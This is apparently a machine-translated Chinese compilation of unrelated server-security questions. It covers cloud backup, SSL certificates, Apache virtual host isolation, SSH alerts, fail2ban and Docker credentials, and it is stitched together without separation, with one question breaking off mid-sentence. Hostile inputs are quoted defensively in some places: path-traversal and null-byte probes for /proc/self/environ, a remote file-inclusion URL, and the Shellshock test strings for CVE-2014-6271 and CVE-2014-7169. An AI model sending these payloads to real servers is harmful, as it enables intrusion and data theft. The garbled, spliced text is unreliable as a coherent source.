我正在考虑使用云服务来备份我客户的网站之一。
我（客户）的主要关注点是（按重要性降序排列）
理想情况下，我想要没有长期联系的服务（即我更喜欢一种“现收现付”服务）
我还想避免供应商锁定，因为几乎不可能转移到其他服务。
我想要一些关于以下方面的一般准则：
服务器软件要么是 Ubuntu 要么是 Debian（我可能会发布一个关于将哪个操作系统用作服务器的问题 - 我已经熟悉 Ubuntu）
我正在阅读MIT 6.893 讲座，其中说Unix 中的保护是一团糟，没有基本原则，它还指出 Windows有更好的替代方案，可以通过 IPC 将特权从一个进程传递到另一个进程。
在我看来，虽然 Windows 用户似乎更容易受到病毒和漏洞的影响，但我认为这主要是由于大多数 Windows 用户是经验不足的计算机用户，而 Windows 平台因为拥有更多的用户而吸引了更多的攻击者。
我想知道是否有更详细的文章或论文比较 Windows 和 Linux 中的安全机制和设计？
我们需要在内部网络上为一些敏感应用程序使用 SSL，我需要知道自签名证书和由我们设置的 Windows Server CA 签名的证书之间是否有区别？我们需要设置 CA 吗？
查看我的 404 日志，我注意到以下两个 URL，它们都发生了一次：
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
和
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
有问题的页面library.php需要一个type具有六个不同可接受值的id变量，然后是一个变量。所以一个有效的 URL 可能是
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
并且在mysql_real_escape_string用于查询数据库之前，所有id都经过了处理。
我是菜鸟，但在我看来这两个链接都是针对 webroot 的简单攻击？
1)除了 404 之外，如何最好地防止此类事情？
2)我是否应该永久禁止负责的 IP？
编辑：也刚刚注意到这个
/library.php=http://www.basfalt.no/scripts/danger.txt
编辑 2：所有 3 次攻击的违规 IP 都216.97.231.15追溯到位于洛杉矶郊外的名为 Lunar Pages 的 ISP。
编辑 3：我决定在当地时间周五早上致电 ISP，并与我可以通过电话联系的任何人讨论该问题。我会在 24 小时左右后在此处发布结果。
编辑 4：我最后给他们的管理员发了电子邮件，他们首先回复说“他们正在调查”，然后一天后回复“现在应该解决这个问题”。没有进一步的细节，很遗憾。
我正在设置一个 Web 服务器，它将托管许多不同的网站作为 Apache VirtualHosts，每个网站都可以运行脚本（主要是 PHP，可能还有其他）。
我的问题是如何将这些 VirtualHosts 与彼此以及系统的其余部分隔离开来？我不希望网站 X 读取网站 Y 的配置或任何服务器的“私有”文件。
目前，我已经按照此处所述（http://x10hosting.com/forums/vps-tutorials/148894-debian-apache-2-2-fastcgi-php-5-suexec）设置了带有 FastCGI、PHP 和 SUExec 的 VirtualHosts -easy-way.html )，但 SUExec 仅阻止用户编辑/执行除他们自己之外的文件 - 用户仍然可以读取敏感信息，例如配置文件。
我曾考虑删除服务器上所有文件的 UNIX 全局读取权限，因为这将解决上述问题，但我不确定是否可以安全地执行此操作而不会中断服务器功能。
我也研究过使用 chroot，但似乎这只能在每个服务器的基础上完成，而不能在每个虚拟主机的基础上完成。
我正在寻找任何将我的 VirtualHosts 与系统其余部分隔离的建议。
PS 我正在运行 Ubuntu 12.04 服务器
我的回答：我几乎按照我当前的配置结束，但是为所有虚拟主机做一个 chroot jail，例如在 chroot jail/var/www，然后将所有用户的数据放在子文件夹中，每个子文件夹都具有 group/others r/w/x 权限禁用。此选项是可取的，特别是因为无需对源代码进行任何修改即可实现。
我选择了@Chris 的答案，因为它写得很透彻，而且还考虑了 FTP 和 SELinux
我有一台运行 Debian 6.0 且安装了 logcheck 的服务器。昨天，我收到了这样一条消息：
Jan 19 19:15:10 hostname sshd[28397]: Authentication tried for root with correct key but not from a permitted host (host=4.red-2-140-77.dynamicip.rima-tde.net, ip=2.140.77.4).
我不知道这是谁，我怀疑他是偶然出现的。
现在，我该怎么办？
我做的第一件事是禁用 ssh 密码身份验证并切换到公钥/私钥。我还检查了authorized_keys 文件，只看到了我的公钥
接下来是什么？
我怎么知道其他人在我的机器上做了什么？
我想知道有多少浏览器在向我们的网络服务器发出 HTTP 请求时拒绝了我们的 SSL 证书。我们正在使用一个免费的 CA，它现在似乎被大多数现代浏览器所识别，但我想获得一些数字，而无需详尽地测试浏览器和操作系统的组合。
我知道浏览器会在证书验证失败时终止连接，那么 Apache 有什么方法可以检测到这一点吗？我不希望获得特定的诊断信息 - 仅存在证书/SSL 问题的事实就足够了。
我了解 CVE-2014-6271 的原始测试，即：
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
但我对 CVE-2014-7169 的更新测试和相应输出感到困惑：
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Thu 25 Sep 2014 08:50:18 BST
有人可以简要解释一下这里发生了什么以及它如何绕过 CVE-2014-6271 的补丁吗？
我安装了 fail2ban 来禁止对 ssh 密码进行暴力尝试。在这台机器上不禁用密码认证有业务需求。
fail2ban 是使用相同的厨师手册安装的，该手册有效地禁止了对其他机器的 ssh 攻击。配置了一个 ssh 监狱：
# service fail2ban status
fail2ban-server (pid 5480) is running...
WARNING 'pidfile' not defined in 'Definition'. Using default one: '/var/run/fail2ban/fail2ban.pid'
Status
|- Number of jail: 1
`- Jail list: ssh
手动禁止用户工作：
# fail2ban-client set ssh banip 103.41.124.46
但它似乎并没有自动禁止任何人：
# cat /var/log/fail2ban.log
2014-11-20 18:23:47,069 fail2ban.server [67569]: INFO Exiting Fail2ban
2014-11-20 18:44:59,202 fail2ban.server [5480]: INFO Changed logging target to /var/log/fail2ban.log for Fail2ban v0.8.14
2014-11-20 18:44:59,213 fail2ban.jail [5480]: INFO Creating new jail 'ssh' …在普通的 EC2 环境中，使用 IAM 角色和凭证（从实例元数据自动获取）管理对其他 AWS 资源的访问非常简单。使用 CloudFormation 更容易，当您将特定应用程序角色分配给实例时，您可以在其中即时创建角色。
如果我想迁移到 Docker 并进行 M 对 N 部署，其中有 M 台机器和 N 个应用程序在其上运行，我应该如何限制对每个应用程序 AWS 资源的访问？主机上的任何人都可以访问实例元数据，因此我希望每个应用程序都能够查看/修改同一部署环境中每个其他应用程序的数据。
为在此类环境中运行的应用程序容器提供安全凭证的最佳实践是什么？